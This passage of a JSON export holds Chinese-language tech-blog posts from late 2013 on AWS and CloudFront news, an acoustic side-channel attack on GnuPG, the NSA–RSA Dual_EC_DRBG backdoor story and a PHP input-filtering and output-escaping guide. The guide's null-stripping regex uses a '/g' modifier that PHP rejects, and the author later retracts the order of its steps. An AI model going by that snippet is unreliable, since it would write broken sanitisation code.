time=54.2 ms\r\n64 bytes from 54.230.158.85: icmp_req=5 ttl=53 time=57.2 ms\r\n\r\n--- 54.230.158.85 ping statistics ---\r\n5 packets transmitted, 5 received, 0% packet loss, time 4005ms\r\nrtt min/avg/max/mdev = 44.345/55.416/60.666/6.026 ms</pre>\r\n\r\n然後：\r\n\r\n<pre>\r\n;; ANSWER SECTION:\r\n85.158.230.54.in-addr.arpa. 86413 IN    PTR     server-54-230-158-85.sin3.r.cloudfront.net.\r\n</pre>\r\n\r\n看起來好像剛上線而已，還有一些 routing 沒調整好？從 pinger.unimas.my 過去是到新加坡的 server...\r\n\r\n用機車方法硬找 code name 結果只找到 maa3 (<code>*.maa3.cloudfront.net</code>) 是印度孟買機房，看起來還是要用其他方式找找看 :o",
    "title": "Amazon CloudFront 與 Route53 又多了三個 PoP..."
  },
  {
    "id": "3980",
    "body": "早上的時候就有看到消息了，而剛剛在 <a href=\"http://aws.amazon.com/\">AWS</a> 老大 <a href=\"http://www.allthingsdistributed.com/\">Werner Vogels</a> 的 <a href=\"https://twitter.com/\">Twitter</a> 上看到他宣佈 <a href=\"http://aws.amazon.com/\">AWS</a> 北京區的成立：\r\n\r\n<blockquote class=\"twitter-tweet\" lang=\"en\"><p>Coming soon to <a href=\"https://twitter.com/search?q=%23AWS&amp;src=hash\">#AWS</a> - New China (Beijing) Region - <a href=\"http://t.co/L3lJBXFLr9\">http://t.co/L3lJBXFLr9</a></p>&mdash; Werner Vogels (@Werner) <a href=\"https://twitter.com/Werner/statuses/413330498581045249\">December 18, 2013</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n官方公告在「<a href=\"http://aws.typepad.com/aws/2013/12/coming-soon-new-china-beijing-region.html\">Coming Soon - New China (Beijing) Region</a>」這邊。中國大陸的官方網站在「<a href=\"http://www.amazonaws.cn/\">亚马逊 AWS | Cloud Computing in China on Amazon Web Services (Simplified Chinese)</a>」這邊。\r\n\r\n一如往常的，有中國政府規範的但書：\r\n\r\n<blockquote>This Region will allow China-based and multinational companies to make use of a broad collection of AWS services while remaining in compliance with China's legal and regulatory requirements.</blockquote>\r\n\r\n要注意的是，目前列出來的服務並沒有 <a href=\"http://aws.amazon.com/cloudfront/\">CloudFront</a> 與 <a href=\"http://aws.amazon.com/route53/\">Route53</a>，只有看到這樣的說明：\r\n\r\n<blockquote>We have been working with a number of local data center, bandwidth, and content delivery partners to bring this Region to life. Companies such as China Net Center and SINNET will provide the infrastructure, network services, and CDN services that are required to support the launch and operation of AWS technology services in China.</blockquote>\r\n\r\n繼續觀望看看接下來如何...",
    "title": "AWS 進入北京！"
  },
  {
    "id": "3982",
    "body": "原來之前搞錯了... <a href=\"http://www.lsi.com/\">LSI</a> 之前是把 Engenio 產品線賣給 <a href=\"http://www.netapp.com/\">NetApp</a>，不是整家公司 (出自維基百科的「<a href=\"https://en.wikipedia.org/wiki/LSI_Corporation\">LSI Corporation</a>」條目)：\r\n\r\n<blockquote>In March 9, 2011 LSI announced its sale of its Engenio external storage systems business to NetApp for $480 million in cash.</blockquote>\r\n\r\n這次才是整家公司賣給 <a href=\"http://www.avagotech.com/\">Avago Technologies</a>，不知道是什麼原因而買的，看 Avago 的<a href=\"http://www.avagotech.com/pages/products/\">產品頁</a>好像是拓展新的事業？",
    "title": "LSI 賣給 Avago Technologies"
  },
  {
    "id": "3985",
    "body": "<a href=\"https://www.cs.technion.ac.il/people/danielg3/\">Daniel Genkin</a>、<a href=\"https://en.wikipedia.org/wiki/Adi_Shamir\">Adi Shamir</a>、<a href=\"http://tau.ac.il/~tromer/\">Eran Tromer</a> 發表的論文：「<a href=\"http://www.cs.tau.ac.il/~tromer/acoustic/\">RSA Key Extraction via Low-Bandwidth Acoustic Cryptanalysis</a>」。\r\n\r\n在維基百科上有「<a href=\"https://en.wikipedia.org/wiki/Acoustic_cryptanalysis\">Acoustic cryptanalysis</a>」的條目，不過好像還沒補上這次的事情...\r\n\r\n<a href=\"https://www.iacr.org/conferences/eurocrypt2004/\">2004 年的 Eurocrypt</a> 時，後面兩位就已經發表過「<a href=\"http://www.cs.tau.ac.il/~tromer/acoustic/ec04rump/\">Acoustic cryptanalysis - On nosy people and noisy machines</a>」，可以針對機器的噪音取得「部份資訊」：\r\n\r\n<img src=\"//i.imgur.com/b6h9Vph.jpg\" alt=\"\" />\r\n\r\n這次攻擊者利用「麥克風」可以對機器的聲音攻擊 (side-channel attack)，進而「得到完整的 private key」：\r\n\r\n<img src=\"//i.imgur.com/d1tgtA1.jpg\" alt=\"\" />\r\n\r\n左邊那台機器... 好像是隻手機啊... @_@\r\n\r\n收音的設備愈好，效果愈好：\r\n\r\n<img src=\"//i.imgur.com/vvKWHVJ.jpg\" alt=\"\" />\r\n\r\n這次直接把 <a href=\"http://www.gnupg.org/\">GnuPG</a> 打趴真是太過分了... (被 assign 了 <a href=\"http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-4576\">CVE-2013-4576</a>)\r\n\r\nAdi Shamir 老人家還是很活躍啊...",
    "title": "利用機器噪音的 Side-channel attack，解 GnuPG 的 RSA key..."
  },
  {
    "id": "3987",
    "body": "<a href=\"http://aws.amazon.com/cloudfront/\">Amazon CloudFront</a> 宣佈支援地區限制：「<a href=\"http://aws.typepad.com/aws/2013/12/geographic-restriction-with-amazon-cloudfront.html\">Geographic Restriction with Amazon CloudFront</a>」：\r\n\r\n<img src=\"//i.imgur.com/QL8f3ZW.png\" alt=\"\" />\r\n\r\n可以看到可以選擇使用「白名單」或「黑名單」的選項。",
    "title": "Amazon CloudFront 支援地區限制了..."
  },
  {
    "id": "3989",
    "body": "<a href=\"http://www.percona.com/software/percona-xtradb-cluster\">Percona XtraDB Cluster</a> 5.6 的第一個 RC 版本公告出來了：「<a href=\"http://www.mysqlperformanceblog.com/2013/12/18/percona-xtradb-cluster-5-6-15-25-2-first-release-candidate-is-now-available/\">Percona XtraDB Cluster 5.6.15-25.2 first Release Candidate is now available</a>」。\r\n\r\n其他的說明沒什麼，但意外看到這點：\r\n\r\n<blockquote>Percona XtraDB Cluster now supports stream compression/decompression with new xtrabackup-sst compressor/decompressor options.</blockquote>\r\n\r\n在「<a href=\"http://www.percona.com/doc/percona-xtradb-cluster/5.6/manual/xtrabackup_sst.html#compressor/decompressor\">option compressor/decompressor</a>」這邊可以看到這個設定，功能是在傳輸 SST 的過程壓縮。\r\n\r\n看了範例設定，似乎也可以使用 <a href=\"http://www.gzip.org/\">gzip</a> 以外的方式？<a href=\"http://www.bzip.org/\">bzip2</a> 或是 <a href=\"http://tukaani.org/xz/\">xz</a> 應該是可行的方案？\r\n\r\n對跨機房之間的 full resync 應該是有幫助的... 像是 IPsec 的處理能力沒那麼高的時候 :p",
    "title": "Percona XtraDB Cluster 5.6 的第一個 RC 版本..."
  },
  {
    "id": "3992",
    "body": "直接看示範頁面就可以理解了：「<a href=\"http://briangonzalez.github.io/jquery.adaptive-backgrounds.js/\">jquery.adaptive-backgrounds.js &bull; A jQuery plugin for extracting dominant colors from images and applying it to its parent</a>」。\r\n\r\n<a href=\"https://github.com/\">GitHub</a> 的頁面在「<a href=\"https://github.com/briangonzalez/jquery.adaptive-backgrounds.js\">briangonzalez/jquery.adaptive-backgrounds.js</a>」。\r\n\r\n<img src=\"//i.imgur.com/DEwxFuw.gif\" alt=\"\" />\r\n\r\n如果圖片不在同一個 domain 下，會需要設定 CORS 權限 (<a href=\"https://en.wikipedia.org/wiki/Cross-origin_resource_sharing\">Cross Origin Resource Sharing</a>)，或是在 <code>img</code> tag 下指定 <code>crossorigin</code> 屬性讓程式可以讀取。",
    "title": "隨著圖片而更改背景顏色的 jQuery Plugin..."
  },
  {
    "id": "3994",
    "body": "上個禮拜超熱鬧的消息，<a href=\"https://mail.google.com/\">Gmail</a> 將會自動讀入圖片顯示：「<a href=\"http://gmailblog.blogspot.com/2013/12/images-now-showing.html\">Images Now Showing</a>」。\r\n\r\n在 Support 的「<a href=\"https://support.google.com/mail/answer/145919\">Choose whether to show images</a>」說明裡有提到這個機制是透過 Gmail 的 server 去讀取圖片，所以可以達到這些事情：\r\n<ul>\r\n\t<li>發信人將不會知道你現在用的 IP address。</li>\r\n\t<li>發信人將無法設定 cookie 追蹤。</li>\r\n\t<li>發信人將無法埋入 malware 或是 virus。</li>\r\n</ul>\r\n但圖片一直都是發開信率計算很重要的指標，而 Gmail 這一次的行為讓這些發廣告信的廠商暈了...\r\n\r\n然後正反兩方的意見當然都有，像是「<a href=\"http://arstechnica.com/information-technology/2013/12/gmail-blows-up-e-mail-marketing-by-caching-all-images-on-google-servers/\">Gmail blows up e-mail marketing by caching all images on Google servers</a>」這篇的語氣就頗袒護廣告商，最後還以陰謀論的角度來解釋這次行為：\r\n\r\n<blockquote>No doubt Google hopes this move pushes marketers to spend less on e-mail and more on Adsense.</blockquote>",
    "title": "Gmail 將會自動讀入圖片顯示..."
  },
  {
    "id": "3996",
    "body": "由於外面的傳言傳的亂七八糟 (像是「<a href=\"http://www.theregister.co.uk/2013/12/16/bruce_schneier_leaves_bt/\">Security guru Bruce Schneier to leave employer BT</a>」)，當事人出來說明了 (證實了)：「<a href=\"https://www.schneier.com/blog/archives/2013/12/yes_im_leaving.html\">Yes, I'm Leaving BT</a>」。\r\n\r\n資安相關領域的大名人...",
    "title": "Bruce Schneier 離開 BT..."
  },
  {
    "id": "3998",
    "body": "維基百科正在測試「草稿」功能：「<a href=\"https://blog.wikimedia.org/2013/12/20/new-draft-feature/\">New draft feature provides a gentler start for Wikipedia articles</a>」。\r\n\r\n<img src=\"//i.imgur.com/bUSsCQ3.png\" alt=\"\" />\r\n\r\n在「Why we need drafts on Wikipedia」有提到，在比較小的維基百科社群裡，偏向讓使用者編輯完成後，盡快發表出來讓大家修改。但比較大的維基百科社群因為有要求比較高的質量，有可能在發表出來的幾分鐘內就被掛上模板要求改善。維基百科分析英語、西班牙語、法語、俄羅斯語四個維基百科的資料，發現新使用者建立的條目有 80% 最後會被刪除 (<a href=\"https://meta.wikimedia.org/wiki/Research:Wikipedia_article_creation\">Research:Wikipedia article creation</a>)，而這對新血來說並不是友善的象徵...\r\n\r\n來看看這個功能對於維基百科有多少幫助？",
    "title": "維基百科測試「草稿」功能..."
  },
  {
    "id": "4000",
    "body": "在 <a href=\"http://slashdot.org/\">Slashdot</a> 上看到「<a href=\"http://hardware.slashdot.org/story/13/12/17/1422245/standardized-laptop-charger-approved-by-iec\">Standardized Laptop Charger Approved By IEC</a>」這篇。\r\n\r\n2011 年年初的「<a href=\"http://blog.gslin.org/archives/2011/01/07/2410/%E6%AD%90%E7%9B%9F%E5%BC%B7%E5%88%B6%E4%BD%BF%E7%94%A8-micro-usb-%E5%81%9A%E7%82%BA%E6%89%8B%E6%A9%9F%E5%85%85%E9%9B%BB%E4%BB%8B%E9%9D%A2/\">歐盟強制使用 Micro USB 做為手機充電介面</a>」後，<a href=\"http://www.iec.ch/\">IEC</a> 這次宣佈要標準化筆電的充電器：「<a href=\"http://www.iec.ch/newslog/2013/nr2713.htm\">Major milestone: single charger for notebook computers will significantly reduce e-waste</a>」。\r\n\r\n目前的進度在最後一段可以看到：\r\n\r\n<blockquote>IEC Technical Specification 62700: DC Power supply for notebook computer, will be available in early 2014.</blockquote>\r\n\r\n不過... 筆電充電器這塊如果要做的好用，不會卡到蘋果的專利嗎？",
    "title": "筆記型電腦的充電器單一化..."
  },
  {
    "id": "4002",
    "body": "<a href=\"http://www.mozilla.com/firefox/\">Firefox</a> 將在 29 版支援 CSS 變數 (現在是 26 版)：「<a href=\"https://hacks.mozilla.org/2013/12/css-variables-in-firefox-nightly/\">CSS Variables in Firefox Nightly</a>」。標準是出自 W3C 的「<a href=\"http://dev.w3.org/csswg/css-variables/\">CSS Custom Properties for Cascading Variables Module Level 1</a>」(在寫這篇文章時還是 draft)。\r\n\r\n程式碼會長這樣：(直接引用比較複雜的程式碼)\r\n\r\n<pre>:root {\r\n  var-companyblue: #369;\r\n  var-lighterblue: powderblue;\r\n  var-largemargin: 20px;  \r\n  var-smallmargin: calc(var(largemargin) / 2);\r\n  var-borderstyle: 5px solid #000;\r\n  var-headersize: 24px;\r\n}\r\n.partnerbadge {\r\n  var-companyblue: #036;\r\n  var-lighterblue: #369;\r\n  var-headersize: calc(var(headersize)/2);\r\n  transition: 0.5s;\r\n}\r\n \r\n@media (max-width: 400px) {\r\n  .partnerbadge {\r\n     var-borderstyle: none;  \r\n     background: #eee;\r\n  }\r\n}\r\n \r\n/* Applying the variables */\r\nbody {font-family: 'open sans', sans-serif;}\r\n \r\nh1 {\r\n  color: var(companyblue);\r\n  margin: var(largemargin) 0;\r\n  font-size: var(headersize);\r\n}\r\nh2 {\r\n  color: var(lighterblue);\r\n  margin: var(smallmargin) 0;\r\n  font-size: calc(var(headersize) - 5px);\r\n}\r\n \r\n.partnerbadge {\r\n  padding: var(smallmargin) 10px;\r\n  border: var(borderstyle);\r\n}</pre>\r\n\r\n本來用 <a href=\"http://sass-lang.com/\">Sass/SCSS</a> 做的事情就可以把計算這部份推到 browser 上處理...",
    "title": "Firefox 將可以在 CSS 內使用變數..."
  },
  {
    "id": "4004",
    "body": "是全世界第一家電信業者接受 <a href=\"http://bitcoin.org/\">Bitcoin</a> 付款：「<a href=\"http://news.slashdot.org/story/13/12/21/1748201/belgian-telecom-becomes-first-to-accept-bitcoin\">Belgian Telecom Becomes First To Accept Bitcoin</a>」，新聞稿在「<a href=\"http://www.flexmail.eu/m-535f5ae740ab6d4b08306f8448800213b4d05073d690e445\">Mobile Vikings can pay with bitcoins, a world first!</a>」。\r\n\r\n實際上是透過 <a href=\"https://bitpay.com/\">BitPay</a>：\r\n\r\n<blockquote>Mobile Vikings works with the Bitpay platform, which is like the bitcoin variant of PayPal.</blockquote>\r\n\r\n仍然是很讓人振奮的事情 :p",
    "title": "比利時電信業者 Mobile Vikings 宣佈接受 Bitcoin 付款..."
  },
  {
    "id": "4007",
    "body": "由於手機的行竊與搶劫案件已經是美國目前遇到的重大問題，所以有幾位法界人士提案，要立法強制對手機業者實作行動電話的防竊機制：「<a href=\"http://yro.slashdot.org/story/13/12/19/2113235/proposed-california-law-would-mandate-smartphone-kill-switch\">Proposed California Law Would Mandate Smartphone Kill Switch</a>」，報導在「<a href=\"http://www.networkworld.com/news/2013/121913-proposed-california-law-would-mandate-277107.html\">Proposed California law would mandate smartphone kill switch</a>」。\r\n\r\n希望藉由這套防竊機制，讓銷贓變得困難，希望藉此降低手機行竊與搶劫的案件數量...\r\n\r\nKill Switch 的機制並沒有詳細說明，不過應該就是類似目前 <a href=\"http://www.apple.com/\">Apple</a> 的方式？可以遠端強制對手機下鎖上甚至銷毀的命令...",
    "title": "加州的手機防竊提案..."
  },
  {
    "id": "4009",
    "body": "<a href=\"https://en.wikipedia.org/wiki/Edward_Snowden\">Edward Snowden</a> 再次丟出 <a href=\"http://www.nsa.gov/\">NSA</a> 內部文件，表示 NSA 付錢給 <a href=\"http://www.rsa.com/\">RSA</a> 在演算法裡面放後門：「<a href=\"http://www.reuters.com/article/2013/12/20/us-usa-security-rsa-idUSBRE9BJ1C220131220\">Exclusive: Secret contract tied NSA and security industry pioneer</a>」。\r\n\r\nRSA 的回應則是完全不想提到這筆錢是做什麼用的：「<a href=\"https://blogs.rsa.com/news-media-2/rsa-response/\">RSA Response to Media Claims Regarding NSA Relationship</a>」。\r\n\r\n現在一般在猜測，這個後門應該就是 <a href=\"http://www.emc.com/security/rsa-bsafe.htm\">RSA BSAFE</a> 的預設偽隨機數產生器 <a href=\"https://en.wikipedia.org/wiki/Dual_elliptic_curve_deterministic_random_bit_generator\">Dual_EC_DRBG</a>。\r\n\r\n對於 Dual_EC_DRBG 的攻擊，2006 年的「<a href=\"http://eprint.iacr.org/2006/190\">Cryptanalysis of the Dual Elliptic Curve Pseudorandom Generator</a>」就這樣寫：\r\n\r\n<blockquote>Our experimental results and also empirical argument show that the DEC PRG is insecure. The attack does not imply solving the ECDLP for the corresponding elliptic curve. The attack is very efficient.</blockquote>\r\n\r\n在 2007 年，<a href=\"https://www.schneier.com/\">Bruce Schneier</a> 寫了一篇「<a href=\"http://www.wired.com/politics/security/commentary/securitymatters/2007/11/securitymatters_1115\">Did NSA Put a Secret Backdoor in New Encryption Standard?</a>」，提到這個弱點並沒有大到使得這個演算法不堪用，但看了總是不爽：\r\n\r\n<blockquote>Problems with Dual_EC_DRBG were first described in early 2006. The math is complicated, but the general point is that the random numbers it produces have a small bias. The problem isn't large enough to make the algorithm unusable -- and Appendix E of the NIST standard describes an optional work-around to avoid the issue -- but it's cause for concern. Cryptographers are a conservative bunch: We don't like to use algorithms that have even a whiff of a problem.</blockquote>\r\n\r\n並且建議不要用 Dual_EC_DRBG：\r\n\r\n<blockquote>My recommendation, if you're in need of a random-number generator, is not to use Dual_EC_DRBG under any circumstances. If you have to use something in SP 800-90, use CTR_DRBG or Hash_DRBG.</blockquote>\r\n\r\n現在回頭看這件事情... hmmm...",
    "title": "NSA 付錢給 RSA 放後門的事件..."
  },
  {
    "id": "4012",
    "body": "<a href=\"https://www.wikipedia.org/\">維基百科</a>上有一篇「<a href=\"https://en.wikipedia.org/wiki/Secure_input_and_output_handling\">Secure input and output handling</a>」說明要怎麼處理 input 與 output (對資安方面的說明)。標題的 Filter Input 與 Escape Output 是 <a href=\"http://blog.gasol.tw/\">Gasol</a> 之前提到後才知道的名詞，以前只知道要 validate &amp; escape，沒想過一個比較好記的念法...\r\n\r\n這邊都以 <a href=\"http://www.php.net/\">PHP</a> 為主，其他程式語言也應該會有對應的方式...\r\n\r\nInput 有很多管道，有可能是使用者或是 3rd party 廠商透過 Form 傳進來的資料 (在 PHP 裡可能是 <code>$_GET</code> 或是 <code>$_POST</code>)，也有可能是 cookie 的資料 (因為使用者可以修改，所以視為不安全的資料)。從檔案讀資料進來 (可能是普通的文字檔，或是 XML，也可能是圖片) 也算是 input。\r\n\r\nOutput 也有很多管道，像是 HTML、JSON，或是組 SQL statement 時使用變數。\r\n\r\n<h2>Filter Input</h2>\r\n\r\n在處理 input data 時，一般常常忘記的是「先強制轉成 Non-null UTF-8 string」(現在一般都是用 UTF-8，所以這邊就只講 UTF-8)。\r\n\r\n這是因為很多 PHP function 對非 Non-null UTF-8 string 有非定義行為 (undefined behavior，不保證效果與輸出結果的正確性)，加上一般常見的產品需求可以用 Non-null UTF-8 string 滿足，所以在 PHP 內拿到資料時可以先 filter 過。\r\n\r\n<strong>Update</strong>：下面說的步驟錯了，請參考「<a href=\"http://blog.gslin.org/archives/2013/12/28/4020/%E9%97%9C%E6%96%BC-non-null-string-%E7%9A%84%E8%99%95%E7%90%86/\">關於 Non-null string 的處理...</a>」這篇的說明。\r\n\r\n有兩個步驟要做，第一個是確保他是 Non-null，直接把 <code>\\0</code> 以及以後的東西幹掉：\r\n\r\n<pre>$str_out = preg_replace('/\\0.*/g', '', $str_in);\r\n$str = preg_replace('/\\0.*/g', '', $str); // 直接取代原來字串</pre>\r\n\r\n第二個是確保他是 UTF-8 string。這點可以直接用 <code><a href=\"http://php.net/manual/en/function.iconv.php\">iconv</a>()</code> 轉，而不用自己寫 regex 處理了：\r\n\r\n<pre>$str_out = iconv('UTF-8', 'UTF-8', $str_in);\r\n$str = iconv('UTF-8', 'UTF-8', $str);</pre>\r\n\r\n用 <code>iconv()</code> 從 UTF-8 轉到 UTF-8 是一個特別的用法，我是在 <a href=\"http://www.iamcal.com/\">Cal Henderson</a> 的「<a href=\"http://www.amazon.com/dp/0596102356\">Building Scalable Web Sites: Building, Scaling, and Optimizing the Next Generation of Web Applications</a>」上看到的 (有中譯版)。\r\n\r\n如果傳進來的值本來就假設是整數，那麼就用 <code><a href=\"http://php.net/manual/en/function.intval.php\">intval</a>()</code> 轉一次。如果假設是非負整數 (包含 0)，那麼就用 <code><a href=\"http://php.net/manual/en/function.abs.php\">abs</a>()</code> 與 <code>intval()</code>。如果是文字類的 (像是 e-mail)，可以再用其他的 regex 檢查。\r\n\r\n一般來說，白名單會比黑名單好。不過這也是一般性，很多時候還是很囧的...\r\n\r\n<h2>Escape Output</h2>\r\n\r\nEscape 指的是 <a href=\"https://en.wikipedia.org/wiki/Escape_character\">Escape character</a> (<a href=\"https://zh.wikipedia.org/wiki/%E8%BD%AC%E4%B9%89%E5%AD%97%E7%AC%A6\">轉義字元</a>)。不同的情況下會有不同的 escape character，所以保護的方式也不一樣。\r\n\r\n以 HTML 來說，想要顯示小於符號 <code>&lt;</code>，實際上要用 <code>&amp;lt;</code> 表示。而在 PHP 裡面常用的 <code><a href=\"http://php.net/manual/en/function.htmlspecialchars.php\">htmlspecialchars</a>()</code> 定義了「只 escape 五個符號」，剛好可以拿來用：\r\n\r\n<pre>&lt;div&gt;&lt;?= htmlspecialchars($str) ?&gt;&lt;/div&gt;</pre>\r\n\r\n也有人推薦 <code><a href=\"http://php.net/manual/en/function.htmlentities.php\">htmlentities</a>()</code>，不過因為轉的比較多 (所以要考慮的行為比較多)，我比較不喜歡...\r\n\r\n對於 <a href=\"http://www.w3.org/TR/xml/\">XML</a>，在 XML 的規範裡規定一定要把 <code>&lt;</code> 與 <code>&amp;</code> 換成 <code>&amp;lt;</code> 與 <code>&amp;amp;</code> (<a href=\"http://www.w3.org/TR/xml/#syntax\">Character Data and Markup</a>)，但 <code>&gt;</code> 則可以 (非必要) 換成 <code>&amp;gt;</code>。也允許把雙引號 <code>&quot;</code> 換成 &amp;quot;，以及單引號 <code>&apos;</code> 換成 <code>&amp;apos;</code>。\r\n\r\n所以 XML 剛好可以直接用 <code>htmlspecialchars()</code> (確認完全符合 spec 要求)，反過來 <code>htmlentities()</code> 就不保證了。\r\n\r\n再來是 <a href=\"http://dev.mysql.com/\">MySQL</a> 的 escape 與 charset 有關，所以要用 <code><a href=\"http://php.net/manual/en/function.mysql-real-escape-string.php\">mysql_real_escape_string</a>()</code> 或是 <code><a href=\"http://php.net/manual/en/pdo.quote.php\">PDO::quote</a>()</code>，但更好的方法應該是使用 prepare &amp; execute (binding variables)...\r\n\r\n而 shell 的 escape 則應該用 <code><a href=\"http://php.net/escapeshellarg\">escapeshellarg</a>()</code> 再帶入 string 裡。\r\n\r\n每一種 output 所需要的 escape function 不同，都不能直接拿 <code><a href=\"http://php.net/manual/en/function.addslashes.php\">addslashes</a>()</code> 來用... (這個 function 的設計就很 PHP...)\r\n\r\n純粹 JSON 的話，用 <code><a href=\"http://php.net/manual/en/function.json-encode.php\">json_encode</a>()</code> 就可以幫你處理好。問題是在 HTML + JSON 時會讓你處理到抱頭痛哭... 這就是另外的故事了 +_+\r\n\r\n<h2>結論？</h2>\r\n\r\nFilter Input + Escape Output 只是最基本的一步，不過在大多數的狀況下，這個方法就可以擋下不少問題了，算是很實用的 policy...",
    "title": "Filter Input & Escape Output..."
  },
  {
    "id": "4020",
    "body": "上一篇「<a href=\"http://blog.gslin.org/archives/2013/12/27/4012/filter-input-escape-output/\">Filter Input &amp; Escape Output...</a>」有提到 Non-null UTF-8 string 的 filter，結果剛剛洗澡的時候想了想，好像寫錯了？\r\n\r\n問題在於「到底是先 de-null 再 <code><a href=\"http://php.net/manual/en/function.iconv.php\">iconv</a>()</code>，還是先 <code>iconv()</code> 再 de-null」的問題。\r\n\r\n這個問題其實跟 <code>iconv()</code> 成 UTF-8 時遇到不合法字元時怎麼實做有關，也就是 undefined behavior... 由於 <code>\\0</code> 是合法的 UTF-8 character，所以我們假設某一種實做是當 <code>iconv()</code> 遇到不合法字元時會用 <code>\\0</code> 帶進去：\r\n\r\n<h2>先 de-null 再 iconv()</h2>\r\n\r\n這是上一篇文章提到的方法。但在上面提到的 <code>iconv()</code> 實做下卻是有問題的方法。原因很簡單，de-null 後沒有 <code>\\0</code> 的字串，卻會因為 <code>iconv()</code> 而產生 <code>\\0</code>。\r\n\r\n<h2>先 iconv() 再 de-null</h2>\r\n\r\n這邊要考慮的是最後 de-null 後會不會變成 invalid UTF-8 string。答案是不可能，因為 <code>iconv()</code> 轉出來後保證是 UTF-8 string (不論如何處理非 UTF-8 character 的部份)，而 UTF-8 string 內的 <code>\\0</code> 一定可以當 separator，所以切下去一定還是 UTF-8 string。(可以參考下圖關於 UTF-8 character 的規則)\r\n\r\n<img src=\"//i.imgur.com/UodeqJG.png\" alt=\"\" />\r\n\r\n<h2>所以？</h2>\r\n\r\n可能以現在的 <code>iconv()</code> 實做來說，兩者都不會有問題，但寫程式的時候總是要避免 side-effect，所以後者的方法會比前者好。",
    "title": "關於 Non-null string 的處理..."
  },
  {
    "id": "4023",
    "body": "在 <a href=\"https://www.facebook.com/Orange.8361\">Orange</a> 的 <a href=\"https://www.facebook.com/\">Facebook</a> 上看到的，翻了一下國外的新聞，好像還沒被廣泛報導：「<a href=\"http://exp.tw/writing/show/70\">Openssl.org 被改首頁，只維持了幾分鐘XDDD</a>」。\r\n\r\n這超精彩的... <a href=\"http://www.openssl.org/\">OpenSSL</a> 耶 XDDD\r\n\r\n這陣子國外在放假，反應時間應該會比較慢，過幾天應該陸陸續續可以看到「解說」...",
    "title": "OpenSSL 官網被黑..."
  },
  {
    "id": "4025",
    "body": "<a href=\"http://www.xaprb.com/\">Baron Schwartz</a> (<a href=\"http://www.percona.com/\">Percona</a> 的 Chief Performance Architect) 寫了一篇「<a href=\"http://www.xaprb.com/blog/2013/12/28/immutability-mvcc-and-garbage-collection/\">Immutability, MVCC, and garbage collection</a>」狂酸 <a href=\"http://www.datomic.com/\">Datomic</a> 與 <a href=\"http://www.rethinkdb.com/\">RethinkDB</a> (喔，還稍微提到 <a href=\"http://couchdb.apache.org/\">CouchDB</a>)。\r\n\r\n裡面提到了 append-only B-tree 這的資料結構，優點以及會遇到的問題。(而這些問題都是致命的...)\r\n\r\n下面的 comment 就看到 Datomic 的人跑出來反擊了，不過我懶的看了... XD\r\n\r\nRDBMS 這麼多人發展這麼久了，不太有機會有萬靈丹突然出現解決一切問題... (這表示之前的人都是笨蛋？)\r\n\r\n新出來一個 RDBMS 系統，官網做的很漂亮，是由一個商業公司拿錢發展出來，號稱可以解決很多問題，大概都可以先跳過去... XD",
    "title": "Datomic 以及 RethinkDB..."
  },
  {
    "id": "4027",
    "body": "<a href=\"http://xkcd.com/\">xkcd</a> 這篇「<a href=\"http://xkcd.com/1309/\">xkcd: Infinite Scrolling</a>」：\r\n\r\n<img src=\"//i.imgur.com/KxymEdH.png\" alt=\"\" />\r\n\r\n用 <a href=\"https://www.facebook.com/\">Facebook</a> 時常常遇到啊...",
    "title": "Infinite Scrolling 的問題..."
  },
  {
    "id": "4029",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 上看到 <a href=\"http://gugod.org/\">gugod</a> 的 retweet：「<a href=\"http://www.plosone.org/article/info%3Adoi%2F10.1371%2Fjournal.pone.0083325\">Identifiable Images of Bystanders Extracted from Corneal Reflections</a>」。\r\n\r\n<blockquote class=\"twitter-tweet\" lang=\"en\"><p><a href=\"https://twitter.com/search?q=%23PLOSONE&amp;src=hash\">#PLOSONE</a>: Identifiable Images of Bystanders Extracted from Corneal Reflections <a href=\"http://t.co/CJOiQ1klAS\">http://t.co/CJOiQ1klAS</a> <a href=\"http://t.co/ZT45t1SUqN\">pic.twitter.com/ZT45t1SUqN</a></p>&mdash; SebMln (@SebMln) <a href=\"https://twitter.com/SebMln/statuses/417310920080388096\">December 29, 2013</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n因為硬體的進步，所以總算有辦法硬拉出來？\r\n\r\n<img src=\"//i.imgur.com/wJfAVhD.png\" alt=\"\" />\r\n\r\n嗯，這張照片是可辨識的 XDDD\r\n\r\n突然想到 <a href=\"http://www.cbs.com/shows/csi/\">CSI</a> 的無限放大，還有<a href=\"https://zh.wikipedia.org/wiki/%E6%94%BB%E6%AE%BC%E6%A9%9F%E5%8B%95%E9%9A%8A\">攻殼機動隊</a>電視版裡的 Interceptor...",
    "title": "用眼角膜上的影像找出拍照者 (以及其他人)..."
  },
  {
    "id": "4033",
    "body": "在 <a href=\"http://slashdot.org/\">Slashdot</a> 上消化新聞的時候看到的：「<a href=\"http://mobile.slashdot.org/story/13/12/25/2148200/us-mobile-internet-traffic-nearly-doubled-this-year\">U.S. Mobile Internet Traffic Nearly Doubled This Year</a>」。引用的報導是「<a href=\"http://bits.blogs.nytimes.com/2013/12/23/u-s-mobile-internet-traffic-nearly-doubled-this-year/\">U.S. Mobile Internet Traffic Nearly Doubled This Year</a>」，原始的報導在「<a href=\"http://www.chetansharma.com/blog/2013/12/23/2013-the-year-in-mobile/\">2013 – The year in mobile</a>」。\r\n\r\n全球的平均值從 2012 年的 140MB/month 變成 240MB/month。而美國從 690MB/month (2012) 成長為 1.2GB/month，瑞典的用量則是到 7GB/month。LTE 成為趨勢，電信商也不斷地在升級...\r\n\r\n智慧型手機方面，<a href=\"http://www.apple.com/\">Apple</a> 與 <a href=\"http://www.samsung.com/\">Samsung</a> 獨佔市場，其他的牌子愈來愈小。\r\n\r\n看起來台灣離全球的差距愈來愈大了...",
    "title": "美國 2013 年行動數據使用量增加了近一倍..."
  },
  {
    "id": "4035",
